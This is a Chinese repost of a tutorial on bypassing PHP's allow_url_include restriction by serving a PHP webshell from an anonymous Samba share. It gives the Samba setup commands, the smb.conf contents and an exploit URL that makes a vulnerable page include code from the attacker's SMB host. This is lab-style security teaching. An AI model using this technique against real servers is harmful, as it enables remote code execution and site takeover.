利用PHP应用程序中的远程文件包含(RFI)并绕过远程URL包含限制

来源:http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html?m=1

前言

文章讲诉了如何绕过远程URL包含限制。在PHP开发环境php.ini配置文件里”,allow_url_include“为“off”的情况下,不允许PHP加载远程HTTP或FTP url包含远程文件。但是使用SMB依旧可以加载。

攻击思路

攻击者需要配置SMB服务器,启用匿名浏览访问。利用有漏洞的PHP代码从SMB共享里访问PHP Webshell。

  • 配置php.ini文件禁用 "allow_url_fopen" 和 "allow_url_include" 。

  • 配置SMB服务器的匿名读访问权

  • 利用有漏洞的PHP程序访问SMB

PHP环境设置

在PHP.ini文件里把 "allow_url_fopen" 和 "allow_url_include" 设为 "Off"。

当前配置PHP版本为“5.5.11”:

549050-20190606232344911-735909266.png

确定PHP不允许远程文件包含

549050-20190606232605178-215029869.png

试图从远程主机包含PHP Web shell时,应用程序抛出错误并且没有发生RFI。

配置匿名读访问SAMBA服务器(Linux)

使用下面提到的命令安装SAMBA服务器:

创建SMB共享目录(/var/www/html/pub/)

  mkdir /var/www/html/pub/ 

549050-20190606233537132-203154912.png

配置SMB共享目录的权限:

chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

549050-20190606233653521-79247714.png

运行以下提到的命令删除SAMBA服务器配置文件的默认内容

  echo > /etc/samba/smb.conf

将下面提到的内容放在'/etc/samba/smb.conf'文件中

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

重新启动SAMBA服务器

  service smbd restart 

成功重新启动SAMBA服务器后,尝试访问SMB共享并确保SAMBA服务器不需要凭据验证。

 \\192.168.0.3\

549050-20190606234549411-859693275.png

在SMB共享中托管PHP Web shell

在目录'/var/www/html/pub'中托管PHP shell

549050-20190606235059819-1209344095.png

利用Windows Explorer打开SMB访问 Win+R直接访问。

 \\192.168.0.3\ica\

549050-20190606235254531-1212195949.png

攻击文件包含漏洞参数

利用SMB的php webshell路径传入文件包含漏洞的参数里。

 http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.php

SMB共享中获取Web shell并在应用程序服务器上顺利执行PHP代码,绕过了远程文件包含的限制。

549050-20190606235745979-1260961171.png

转载于:https://www.cnblogs.com/17bdw/p/10987338.html

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值